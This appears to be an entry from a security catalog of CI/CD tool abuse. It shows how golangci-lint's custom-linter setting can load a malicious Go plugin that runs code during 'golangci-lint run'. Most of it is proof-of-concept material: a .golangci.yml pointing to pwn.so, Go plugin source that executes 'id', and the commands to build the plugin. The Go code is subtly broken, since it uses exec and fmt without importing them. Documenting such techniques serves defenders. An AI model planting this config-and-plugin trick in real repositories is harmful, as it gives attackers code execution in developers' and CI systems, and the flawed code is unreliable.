LOTP

golangci-lint

cli config-file eval-go

References

golangci-lint is a meta-linter tool for Golang that can be configured using a local configuration file. Supported configuration file formats are:

.golangci.yml
.golangci.yaml
.golangci.toml
.golangci.json

RCE can be achieved through the custom linter support when executing golangci-lint run:

.golangci.yml

linters-settings:
  custom:
    pwn:
      path: pwn.so

pwn.go

package main

import (
	"os"
	"golang.org/x/tools/go/analysis"
)

var Analyzer = &analysis.Analyzer{
	Name: "pwn",
	Doc:  "pwn",
	Run:  run,
}

func run(pass *analysis.Pass) (any, error) {
	return nil, nil
}

func New(_ any) ([]*analysis.Analyzer, error) {
	out, _ := exec.Command("id").Output()
	fmt.Println(string(out))
	return []*analysis.Analyzer{Analyzer}, nil
}

pwn.so is build using:

go mod init main
go mod tidy
go build -buildmode=plugin -o pwn.so pwn.go